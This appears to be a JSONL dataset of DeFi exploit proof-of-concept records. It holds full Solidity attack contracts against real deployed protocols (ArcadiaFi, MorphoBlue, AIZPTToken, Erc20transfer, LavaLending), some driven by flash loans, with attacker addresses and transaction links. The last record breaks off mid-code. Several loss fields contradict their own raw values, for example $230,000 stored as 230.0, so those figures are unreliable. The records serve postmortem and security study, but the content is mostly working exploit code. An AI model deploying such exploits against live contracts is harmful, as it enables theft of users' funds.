address[] memory to = new address[](1);\n to[0] = targetToken;\n bytes[] memory data = new bytes[](1);\n data[0] = abi.encodeWithSignature(\"approve(address,uint256)\", address(Proxy2), type(uint256).max);\n bytes memory callData1 = abi.encode(ActionData1, ActionData2, to, data);\n darcUSDC.doActionWithLeverage(\n USDC.balanceOf(address(darcUSDC)) - 50e6, address(Proxy2), address(ActionMultiCall), callData1, bytes3(0)\n ); // leveraged lending\n\n Helper2 helper = new Helper2(address(Proxy2));\n\n ActionData memory ActionData3 = ActionData({\n assets: new address[](1),\n assetIds: new uint256[](1),\n assetAmounts: new uint256[](1),\n assetTypes: new uint256[](0),\n actionBalances: new uint256[](0)\n });\n ActionData3.assets[0] = targetToken;\n ActionData3.assetIds[0] = 0;\n ActionData3.assetAmounts[0] = USDC.balanceOf(address(Proxy2));\n address[] memory toAddress = new address[](2);\n toAddress[0] = targetToken;\n toAddress[1] = address(helper);\n bytes[] memory datas = new bytes[](2);\n datas[0] = abi.encodeWithSignature(\"approve(address,uint256)\", address(helper), type(uint256).max);\n datas[1] = abi.encodeWithSignature(\"rekt()\");\n bytes memory callData2 = abi.encode(ActionData3, ActionData1, toAddress, datas);\n Proxy2.vaultManagementAction(address(ActionMultiCall), callData2); // transfer all the asset to his own controlled contract and re-entry the function liquidateVault to liquidiate the vault\n }\n}\n\ncontract Helper1 {\n address owner;\n address proxy;\n address ActionMultiCall = 0x2dE7BbAAaB48EAc228449584f94636bb20d63E65;\n IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);\n LendingPool darcWETH = LendingPool(0xD417c28aF20884088F600e724441a3baB38b22cc);\n\n constructor(\n address target\n ) {\n owner = msg.sender;\n proxy = target;\n }\n\n function rekt() external {\n WETH.transferFrom(ActionMultiCall, owner, WETH.balanceOf(address(ActionMultiCall)));\n darcWETH.liquidateVault(proxy);\n }\n}\n\ncontract Helper2 {\n address proxy;\n address owner;\n address ActionMultiCall = 0x2dE7BbAAaB48EAc228449584f94636bb20d63E65;\n IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);\n LendingPool darcUSDC = LendingPool(0x9aa024D3fd962701ED17F76c17CaB22d3dc9D92d);\n\n constructor(\n address target\n ) {\n owner = msg.sender;\n proxy = target;\n }\n\n function rekt() external {\n USDC.transferFrom(ActionMultiCall, owner, USDC.balanceOf(address(ActionMultiCall)));\n darcUSDC.liquidateVault(proxy);\n }\n}\n", "type": "exploit_poc", "protocol": "ArcadiaFi", "date": "2023-07", "file_name": "ArcadiaFi_exp.sol", "attack_vector": "flash_loan", "content_hash": "ecd73db8a518479e", "collected_at": "2026-01-07T10:59:16.511032", "_source": "postmortems", "chain": "ethereum", "block_number": 106676494, "total_lost_raw": "~400K USD$", "total_lost_usd": 400000.0, "attacker_address": "https://optimistic.etherscan.io/address/0xd3641c912a6a4c30338787e3c464420b561a9467", "attack_contract": "https://optimistic.etherscan.io/address/0x01a4d9089c243ccaebe40aa224ad0cab573b83c6", "vulnerable_contract": "https://optimistic.etherscan.io/address/0x13c0ef5f1996b4f119e9d6c32f5e23e8dc313109", "attack_tx": "https://optimistic.etherscan.io/tx/0xca7c1a0fde444e1a68a8c2b8ae3fb76ec384d1f7ae9a50d26f8bfdd37c7a0afe", "postmortem_url": "https://arcadiafinance.medium.com/post-mortem-72e9d24a79b0", "twitter_url": "https://twitter.com/Phalcon_xyz/status/1678250590709899264", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~400K USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~400K USD$", "keyinfo_attacker": "https://optimistic.etherscan.io/address/0xd3641c912a6a4c30338787e3c464420b561a9467", "keyinfo_attack_contract": "https://optimistic.etherscan.io/address/0x01a4d9089c243ccaebe40aa224ad0cab573b83c6", "keyinfo_vulnerable_contract": "https://optimistic.etherscan.io/address/0x13c0ef5f1996b4f119e9d6c32f5e23e8dc313109", "keyinfo_attack_tx": "https://optimistic.etherscan.io/tx/0xca7c1a0fde444e1a68a8c2b8ae3fb76ec384d1f7ae9a50d26f8bfdd37c7a0afe", "analysis_postmortem": "https://arcadiafinance.medium.com/post-mortem-72e9d24a79b0", "analysis_twitter": "https://twitter.com/Phalcon_xyz/status/1678250590709899264", "funds_lost_formatted": "$400.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "ArcadiaFi Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : $230,000\n// Attacker : https://etherscan.io/address/0x02DBE46169fDf6555F2A125eEe3dce49703b13f5\n// Attack Contract : https://etherscan.io/address/0x4095F064B8d3c3548A3bebfd0Bbfd04750E30077\n// Vulnerable Contract : https://etherscan.io/address/0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb\n// Attack Tx : https://etherscan.io/tx/0x256979ae169abb7fbbbbc14188742f4b9debf48b48ad5b5207cadcc99ccb493b\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/omeragoldberg/status/1845515843787960661\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface IMorphoBundler {\n error UnsafeCast();\n\n function MORPHO() external view returns (address);\n\n function ST_ETH() external view returns (address);\n\n function WRAPPED_NATIVE() external view returns (address);\n\n function WST_ETH() external view returns (address);\n\n function approve2(\n IAllowanceTransfer.PermitSingle memory permitSingle,\n bytes memory signature,\n bool skipRevert\n ) external payable;\n\n function erc20Transfer(address asset, address recipient, uint256 amount) external payable;\n\n function erc20TransferFrom(address asset, uint256 amount) external payable;\n\n function erc20WrapperDepositFor(address wrapper, uint256 amount) external payable;\n\n function erc20WrapperWithdrawTo(address wrapper, address account, uint256 amount) external payable;\n\n function erc4626Deposit(address vault, uint256 assets, uint256 minShares, address receiver) external payable;\n\n function erc4626Mint(address vault, uint256 shares, uint256 maxAssets, address receiver) external payable;\n\n function erc4626Redeem(\n address vault,\n uint256 shares,\n uint256 minAssets,\n address receiver,\n address owner\n ) external payable;\n\n function erc4626Withdraw(\n address vault,\n uint256 assets,\n uint256 maxShares,\n address receiver,\n address owner\n ) external payable;\n\n function initiator() external view returns (address);\n\n function morphoBorrow(\n MarketParams memory marketParams,\n uint256 assets,\n uint256 shares,\n uint256 slippageAmount,\n address receiver\n ) external payable;\n\n function morphoFlashLoan(address token, uint256 assets, bytes memory data) external payable;\n\n function morphoRepay(\n MarketParams memory marketParams,\n uint256 assets,\n uint256 shares,\n uint256 slippageAmount,\n address onBehalf,\n bytes memory data\n ) external payable;\n\n function morphoSetAuthorizationWithSig(\n Authorization memory authorization,\n Signature memory signature,\n bool skipRevert\n ) external payable;\n\n function morphoSupply(\n MarketParams memory marketParams,\n uint256 assets,\n uint256 shares,\n uint256 slippageAmount,\n address onBehalf,\n bytes memory data\n ) external payable;\n\n function morphoSupplyCollateral(\n MarketParams memory marketParams,\n uint256 assets,\n address onBehalf,\n bytes memory data\n ) external payable;\n\n function morphoWithdraw(\n MarketParams memory marketParams,\n uint256 assets,\n uint256 shares,\n uint256 slippageAmount,\n address receiver\n ) external payable;\n\n function morphoWithdrawCollateral(\n MarketParams memory marketParams,\n uint256 assets,\n address receiver\n ) external payable;\n\n function multicall(\n bytes[] memory data\n ) external payable;\n\n function nativeTransfer(address recipient, uint256 amount) external payable;\n\n function onMorphoFlashLoan(uint256, bytes memory data) external;\n\n function onMorphoRepay(uint256, bytes memory data) external;\n\n function onMorphoSupply(uint256, bytes memory data) external;\n\n function onMorphoSupplyCollateral(uint256, bytes memory data) external;\n\n function permit(\n address asset,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s,\n bool skipRevert\n ) external payable;\n\n function permitDai(\n uint256 nonce,\n uint256 expiry,\n bool allowed,\n uint8 v,\n bytes32 r,\n bytes32 s,\n bool skipRevert\n ) external payable;\n\n function reallocateTo(\n address publicAllocator,\n address vault,\n uint256 value,\n Withdrawal[] memory withdrawals,\n MarketParams memory supplyMarketParams\n ) external payable;\n\n function stakeEth(uint256 amount, uint256 minShares, address referral) external payable;\n\n function transferFrom2(address asset, uint256 amount) external payable;\n\n function unwrapNative(\n uint256 amount\n ) external payable;\n\n function unwrapStEth(\n uint256 amount\n ) external payable;\n\n function urdClaim(\n address distributor,\n address account,\n address reward,\n uint256 amount,\n bytes32[] memory proof,\n bool skipRevert\n ) external payable;\n\n function wrapNative(\n uint256 amount\n ) external payable;\n\n function wrapStEth(\n uint256 amount\n ) external payable;\n\n receive() external payable;\n}\n\ninterface IMorpho {\n function setAuthorization(address authorized, bool newIsAuthorized) external;\n}\n\ninterface IAllowanceTransfer {\n struct PermitDetails {\n address token;\n uint160 amount;\n uint48 expiration;\n uint48 nonce;\n }\n\n struct PermitSingle {\n PermitDetails details;\n address spender;\n uint256 sigDeadline;\n }\n}\n\nstruct MarketParams {\n address loanToken;\n address collateralToken;\n address oracle;\n address irm;\n uint256 lltv;\n}\n\nstruct Authorization {\n address authorizer;\n address authorized;\n bool isAuthorized;\n uint256 nonce;\n uint256 deadline;\n}\n\nstruct Signature {\n uint8 v;\n bytes32 r;\n bytes32 s;\n}\n\nstruct Withdrawal {\n MarketParams marketParams;\n uint128 amount;\n}\n\ninterface IUniswapV2Pair {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory calldatsa) external;\n}\n\n// Uniswap V3 Pool Interface\ninterface IUniswapV3Pool {\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n function token0() external view returns (address);\n function token1() external view returns (address);\n}\n\npragma solidity ^0.8.0;\n\n// Assuming necessary imports and interface definitions are provided\n\ncontract MorphoBlue is BaseTestWithBalanceLog {\n // Constants\n uint256 public constant FORK_BLOCK_NUMBER = 20_956_051;\n\n // Uniswap V3 constants\n uint160 internal constant MIN_SQRT_RATIO = 4_295_128_739;\n uint160 internal constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;\n\n // Token addresses\n address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n address public constant PAXG = 0x45804880De22913dAFE09f4980848ECE6EcbAf78;\n\n // Contract addresses\n address public constant MORPHO_BUNDLER = 0x4095F064B8d3c3548A3bebfd0Bbfd04750E30077;\n address public constant PAXG_WETH_V2_PAIR = 0x9C4Fe5FFD9A9fC5678cFBd93Aa2D4FD684b67C4C;\n address public constant PAXG_USDC_V3_PAIR = 0xB431c70f800100D87554ac1142c4A94C5Fe4C0C4;\n\n // Flash loan and swap amounts\n uint256 public constant PAXG_FLASHLOAN_AMOUNT = 132_577_813_003_136_114;\n uint256 public constant USDC_SWAP_AMOUNT = 420 * 1e6; // 420 USDC\n\n // Fee calculation constants\n uint256 public constant UNISWAP_V2_FEE_NUMERATOR = 3;\n uint256 public constant UNISWAP_V2_FEE_DENOMINATOR = 997;\n\n // Morpho market parameters\n address public constant MORPHO_ORACLE = 0xDd1778F71a4a1C6A0eFebd8AE9f8848634CE1101;\n address public constant MORPHO_IRM = 0x870aC11D48B15DB9a138Cf899d20F13F79Ba00BC;\n uint256 public constant MORPHO_LTV = 915_000_000_000_000_000;\n\n // Borrow parameters\n uint256 public constant BORROW_ASSETS = 230_002_486_670;\n uint256 public constant BORROW_SHARES = 0;\n uint256 public constant BORROW_SLIPPAGE_AMOUNT = 226_898_039_801_385_921;\n\n // Interfaces\n IMorphoBundler public immutable bundler = IMorphoBundler(payable(MORPHO_BUNDLER));\n\n function setUp() public {\n // Fork the mainnet at the specified block number\n vm.createSelectFork(\"mainnet\", FORK_BLOCK_NUMBER);\n // Set the funding token to USDC\n fundingToken = USDC;\n }\n\n function testExploit() public balanceLog {\n // Initiate a flash loan of PAXG from the Uniswap V2 pair\n IUniswapV2Pair(PAXG_WETH_V2_PAIR).swap(PAXG_FLASHLOAN_AMOUNT, 0, address(this), new bytes(100));\n //At the end we swap any PAXG if remaining to USDC\n uint256 paxgBal = TokenHelper.getTokenBalance(PAXG, address(this));\n if (paxgBal > 0) _v3Swap(PAXG, USDC, paxgBal, address(this));\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n // Ensure the caller is the correct Uniswap V2 pair\n require(msg.sender == PAXG_WETH_V2_PAIR, \"Invalid caller\");\n\n // Approve PAXG transfer to Morpho Bundler\n require(TokenHelper.approveToken(PAXG, MORPHO_BUNDLER, amount0), \"Approval failed\");\n\n // Perform operations with Morpho protocol\n performComplexOperation(\n PAXG,\n PAXG_FLASHLOAN_AMOUNT,\n MarketParams({\n loanToken: USDC,\n collateralToken: PAXG,\n oracle: MORPHO_ORACLE,\n irm: MORPHO_IRM,\n lltv: MORPHO_LTV\n }),\n address(this),\n MORPHO_BUNDLER,\n BORROW_ASSETS,\n BORROW_SHARES,\n BORROW_SLIPPAGE_AMOUNT,\n address(this)\n );\n\n // Swap USDC for PAXG to repay the flash loan\n _v3Swap(USDC, PAXG, USDC_SWAP_AMOUNT, address(this));\n\n // Calculate and repay the flash loan fee\n uint256 fee = ((amount0 * UNISWAP_V2_FEE_NUMERATOR) / UNISWAP_V2_FEE_DENOMINATOR) + 1;\n uint256 repayAmount = amount0 + fee;\n TokenHelper.transferToken(PAXG, PAXG_WETH_V2_PAIR, repayAmount);\n }\n\n function performComplexOperation(\n address asset,\n uint256 amount,\n MarketParams memory marketParams,\n address onBehalf,\n address authorized,\n uint256 borrowAssets,\n uint256 borrowShares,\n uint256 borrowSlippageAmount,\n address borrowReceiver\n ) public payable {\n // Authorize Morpho Bundler\n IMorpho(bundler.MORPHO()).setAuthorization(MORPHO_BUNDLER, true);\n\n // Prepare multicall data\n bytes[] memory calls = new bytes[](3);\n calls[0] = abi.encodeWithSelector(IMorphoBundler.erc20TransferFrom.selector, asset, amount);\n calls[1] =\n abi.encodeWithSelector(IMorphoBundler.morphoSupplyCollateral.selector, marketParams, amount, onBehalf, \"\");\n calls[2] = abi.encodeWithSelector(\n IMorphoBundler.morphoBorrow.selector,\n marketParams,\n borrowAssets,\n borrowShares,\n borrowSlippageAmount,\n borrowReceiver\n );\n\n // Execute the multicall\n bundler.multicall{value: msg.value}(calls);\n }\n\n function _v3Swap(address tokenIn, address tokenOut, uint256 amount, address recipient) internal {\n if (amount == 0) {\n return;\n }\n\n bool zeroForOne = tokenIn < tokenOut;\n uint160 sqrtPriceLimitX96 = zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;\n\n // Execute the swap on Uniswap V3\n IUniswapV3Pool(PAXG_USDC_V3_PAIR).swap(\n recipient, zeroForOne, int256(amount), sqrtPriceLimitX96, zeroForOne ? bytes(\"1\") : bytes(\"\")\n );\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n // Ensure the caller is the correct Uniswap V3 pool\n require(msg.sender == PAXG_USDC_V3_PAIR, \"Invalid caller\");\n\n bool zeroForOne = data.length > 0;\n address tokenOut = zeroForOne\n ? IUniswapV3Pool(PAXG_USDC_V3_PAIR).token0()\n : IUniswapV3Pool(PAXG_USDC_V3_PAIR).token0() == USDC ? PAXG : USDC;\n\n uint256 amountOut = uint256(zeroForOne ? amount0Delta : amount1Delta);\n\n // Transfer the required amount to the pool\n TokenHelper.transferToken(tokenOut, msg.sender, amountOut);\n }\n}\n", "type": "exploit_poc", "protocol": "MorphoBlue", "date": "2024-10", "file_name": "MorphoBlue_exp.sol", "attack_vector": "flash_loan", "content_hash": "30e2cf4d29e8aac6", "collected_at": "2026-01-07T10:59:16.511115", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "$230,000", "total_lost_usd": 230.0, "attacker_address": "https://etherscan.io/address/0x02DBE46169fDf6555F2A125eEe3dce49703b13f5", "attack_contract": "https://etherscan.io/address/0x4095F064B8d3c3548A3bebfd0Bbfd04750E30077", "vulnerable_contract": "https://etherscan.io/address/0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb", "attack_tx": "https://etherscan.io/tx/0x256979ae169abb7fbbbbc14188742f4b9debf48b48ad5b5207cadcc99ccb493b", "postmortem_url": null, "twitter_url": "https://x.com/omeragoldberg/status/1845515843787960661", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "$230,000", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n // Initiate a flash loan of PAXG from the Uniswap V2 pair\n IUniswapV2Pair(PAXG_WETH_V2_PAIR).swap(PAXG_FLASHLOAN_AMOUNT, 0, address(this), new bytes(100));\n //At the end we swap any PAXG if remaining to USDC\n uint256 paxgBal = TokenHelper.getTokenBalance(PAXG, address(this));\n if (paxgBal > 0) _v3Swap(PAXG, USDC, paxgBal, address(this));\n }", "has_exploit_code": true, "keyinfo_total_lost": "$230,000", "keyinfo_attacker": "https://etherscan.io/address/0x02DBE46169fDf6555F2A125eEe3dce49703b13f5", "keyinfo_attack_contract": "https://etherscan.io/address/0x4095F064B8d3c3548A3bebfd0Bbfd04750E30077", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb", "keyinfo_attack_tx": "https://etherscan.io/tx/0x256979ae169abb7fbbbbc14188742f4b9debf48b48ad5b5207cadcc99ccb493b", "analysis_postmortem": "", "analysis_twitter": "https://x.com/omeragoldberg/status/1845515843787960661", "funds_lost_formatted": "$230", "content_richness_score": 10, "quality_estimate": "high", "title": "MorphoBlue Exploit (2024-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 34.88 BNB (~$20K USD)\n// Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32\n// Attack Contract : https://bscscan.com/address/0x8408497c18882bfb61be9204cfff530f4ee18320\n// Vulnerable Contract : https://bscscan.com/address/0xbe779d420b7d573c08eee226b9958737b6218888\n// Attack Tx : https://bscscan.com/tx/0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant PancakeV3Pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;\naddress constant BUSDT = 0x55d398326f99059fF775485246999027B3197955;\naddress constant weth = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant AIZPT = 0xBe779D420b7D573C08EEe226B9958737b6218888;\n\ncontract AIZPTToken_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 42_846_998 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n vm.label(address(attackerC), \"attackerC\");\n\n attackerC.attack();\n\n console.log(\"Final balance in wBNB :\", IERC20(weth).balanceOf(attacker));\n }\n}\n\ncontract AttackerC {\n function attack() external {\n IFS(PancakeV3Pool).flash(address(this), 0, 8000 ether, \"\");\n\n IERC20(weth).transfer(msg.sender, IERC20(weth).balanceOf(address(this)));\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n IFS(weth).withdraw(8000 ether);\n\n AIZPT.call{value: 8000 ether}(\"\");\n\n for (uint256 i; i < 199; ++i) {\n IERC20(AIZPT).transfer(AIZPT, 3_837_275 ether);\n }\n\n IFS(weth).deposit{value: address(this).balance}();\n\n IERC20(weth).transfer(PancakeV3Pool, 8_004_100_000_000_000_000_000);\n }\n\n receive() external payable {}\n}\n\ninterface IFS is IERC20 {\n // PancakeV3Pool\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n\n // WETH\n function withdraw(\n uint256\n ) external;\n function deposit() external payable;\n}\n", "type": "exploit_poc", "protocol": "AIZPTToken", "date": "2024-10", "file_name": "AIZPTToken_exp.sol", "attack_vector": null, "content_hash": "06f624ea7e20687b", "collected_at": "2026-01-07T10:59:16.511201", "_source": "postmortems", "chain": "bsc", "block_number": 42846998, "total_lost_raw": "34.88 BNB (~$20K USD)", "total_lost_usd": 34880000000.0, "attacker_address": "https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32", "attack_contract": "https://bscscan.com/address/0x8408497c18882bfb61be9204cfff530f4ee18320", "vulnerable_contract": "https://bscscan.com/address/0xbe779d420b7d573c08eee226b9958737b6218888", "attack_tx": "https://bscscan.com/tx/0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "34.88 BNB (~$20K USD)", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n vm.label(address(attackerC), \"attackerC\");\n\n attackerC.attack();\n\n console.log(\"Final balance in wBNB :\", IERC20(weth).balanceOf(attacker));\n }\n}\n\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "34.88 BNB (~$20K USD)", "keyinfo_attacker": "https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32", "keyinfo_attack_contract": "https://bscscan.com/address/0x8408497c18882bfb61be9204cfff530f4ee18320", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xbe779d420b7d573c08eee226b9958737b6218888", "keyinfo_attack_tx": "https://bscscan.com/tx/0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$34880.00M", "content_richness_score": 7.16, "quality_estimate": "medium", "title": "AIZPTToken Exploit (2024-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : $14,773.35\n// Attacker : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a\n// Attack Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0\n// Vulnerable Contract : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa\n// Attack Tx : https://etherscan.io/tx/0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e92172\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa#code\n\n// @Analysis\n// Post-mortem : https://x.com/d23e_AG/status/1849064161017225645\n// Twitter Guy : https://x.com/d23e_AG/status/1849064161017225645\n// Hacking God : https://x.com/d23e_AG/status/1849064161017225645\npragma solidity ^0.8.0;\n\ninterface I {\n function erc20TransferFrom(address, address, address, uint256) external;\n}\n\ncontract Erc20transfer is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 21_019_771;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n }\n\n function testExploit() public balanceLog {\n I(0x43Dc865E916914FD93540461FdE124484FBf8fAa).erc20TransferFrom(\n 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, address(this), 0x3DADf003AFCC96d404041D8aE711B94F8C68c6a5, 0\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Erc20transfer", "date": "2024-10", "file_name": "Erc20transfer_exp.sol", "attack_vector": null, "content_hash": "6add43aadcf846d8", "collected_at": "2026-01-07T10:59:16.511243", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "$14,773.35", "total_lost_usd": 14.0, "attacker_address": "https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a", "attack_contract": "https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0", "vulnerable_contract": "https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa", "attack_tx": "https://etherscan.io/tx/0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e92172", "postmortem_url": "https://x.com/d23e_AG/status/1849064161017225645", "twitter_url": "https://x.com/d23e_AG/status/1849064161017225645", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "$14,773.35", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n I(0x43Dc865E916914FD93540461FdE124484FBf8fAa).erc20TransferFrom(\n 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, address(this), 0x3DADf003AFCC96d404041D8aE711B94F8C68c6a5, 0\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "$14,773.35", "keyinfo_attacker": "https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a", "keyinfo_attack_contract": "https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa", "keyinfo_attack_tx": "https://etherscan.io/tx/0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e92172", "analysis_postmortem": "https://x.com/d23e_AG/status/1849064161017225645", "analysis_twitter": "https://x.com/d23e_AG/status/1849064161017225645", "funds_lost_formatted": "$14", "content_richness_score": 6.81, "quality_estimate": "medium", "title": "Erc20transfer Exploit (2024-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 1 USDC, 125795.6 cUSDC, 0,0067 WBTC, 2.25 WETH (~$130K USD)\n// Attacker : https://arbiscan.io/address/0x8a0dfb61cad29168e1067f6b23553035d83fcfb2\n// Attack Contract : https://arbiscan.io/address/0x69fa61eb4dc4e07263d401b01ed1cfceb599dab8#code\n// Vulnerable Contract : https://arbiscan.io/address/0x6700b021a8bcfae25a2493d16d7078c928c13151\n// Attack Tx : https://arbiscan.io/tx/0xb5cfa4ae4d6e459ba285fec7f31caf8885e2285a0b4ff62f66b43e280c947216\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant AlgebraPool = 0x8cc8093218bCaC8B1896A1EED4D925F6F6aB289F;\naddress constant AlgebraPool2 = 0xc86Eb7B85807020b4548EE05B54bfC956eEbbfCD;\naddress constant WETHUSDC_LP = 0x6700b021a8bCfAE25A2493D16d7078c928C13151;\naddress constant aavePoolV3 = 0x794a61358D6845594F94dc1DB02A252b5b4814aD;\naddress constant SwapFlashLoan = 0x9Dd329F5411466d9e0C488fF72519CA9fEf0cb40;\naddress constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\naddress constant LendingPool = 0x3Ff516B89ea72585af520B64285ECa5E4a0A8986;\naddress constant AaveOracle = 0x11A8598c4430C7663fdA224C877f231895C8CA69;\naddress constant aUsdceWethLP = 0x2254898d99e3BBB1D10F784e2678d59d88f70f1E;\naddress constant UniswapV3Pool = 0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443;\naddress constant UniswapV3Router2 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;\n\naddress constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;\naddress constant weth = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;\naddress constant aaveUSDC = 0x625E7708f30cA75bfd92586e17077590C60eb4cD;\naddress constant cUSDC = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;\naddress constant aUSDC = 0x56EA05C0C3b665F67538909343Fb3Becb4fE5714;\naddress constant aWBTC = 0x5E166A3A9ebCAfE9CF62cC2BD2Cf41a109dE18Af;\naddress constant wbtc = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;\naddress constant aWETH = 0x7cB47F4F634fa0f8165de2fE3528471BD127533A;\naddress constant aUSDCe = 0xe879A4B54396Aebb3416bc72A1Ab1D360C2CAFf6;\n\ncontract LavaLending_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 259_645_908 - 1);\n\n vm.label(attacker, \"attacker\");\n vm.label(AlgebraPool, \"AlgebraPool\");\n vm.label(WETHUSDC_LP, \"WETHUSDC_LP\");\n vm.label(aavePoolV3, \"aavePoolV3\");\n vm.label(usdc, \"usdc\");\n vm.label(weth, \"weth\");\n vm.label(aaveUSDC, \"aaveUSDC\");\n vm.label(cUSDC, \"cUSDC\");\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n vm.label(address(attackerC), \"attackerC\");\n\n attackerC.attack();\n\n console.log(\"Final balance in usdc :\", IERC20(usdc).balanceOf(attacker));\n console.log(\"Final balance in cUSDC:\", IERC20(cUSDC).balanceOf(attacker));\n console.log(\"Final balance in wbtc :\", IERC20(wbtc).balanceOf(attacker));\n console.log(\"Final balance in 